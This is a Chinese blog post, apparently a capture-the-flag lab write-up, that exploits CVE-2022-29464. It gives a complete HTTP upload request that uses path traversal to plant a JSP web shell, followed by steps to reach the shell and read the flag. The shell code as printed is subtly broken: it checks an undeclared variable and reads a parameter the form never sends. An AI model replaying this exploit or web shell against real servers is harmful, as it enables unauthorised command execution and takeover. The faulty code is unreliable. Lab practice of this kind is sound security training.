首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2022-29464

CVE-2022-29464

作者头像
cultureSun
发布2023-05-18 14:50:43
发布2023-05-18 14:50:43
41700
代码可运行
举报
文章被收录于专栏:cultureSun学安全cultureSun学安全
运行总次数:0
代码可运行

简介

看一下chat-gpt介绍这个漏洞。如下:

非常智能。 环境搭建:使用春秋云境免费靶场。

详解

漏洞是无身份验证且无限制的任意文件上传。

  1. 直接访问首页,用burp抓包。
  2. 重构数据包,如下:
代码语言:javascript
代码运行次数:0
运行
复制
POST /fileupload/toolsAny HTTP/2
Host: http://eci-2zed31qpgb0lqk2ppaj3.cloudeci1.ichunqiu.com:9445
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 901
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0

--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp"

<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String command = request.getParameter("command");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(command,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--

Other

  1. 修改请求头HOST的值,然后直接发送。
  2. 浏览器访问 域名+/fileupload/toolsAny/shell.jsp
  3. 输入cat /flag获取flag。
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 简介
  • 详解
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档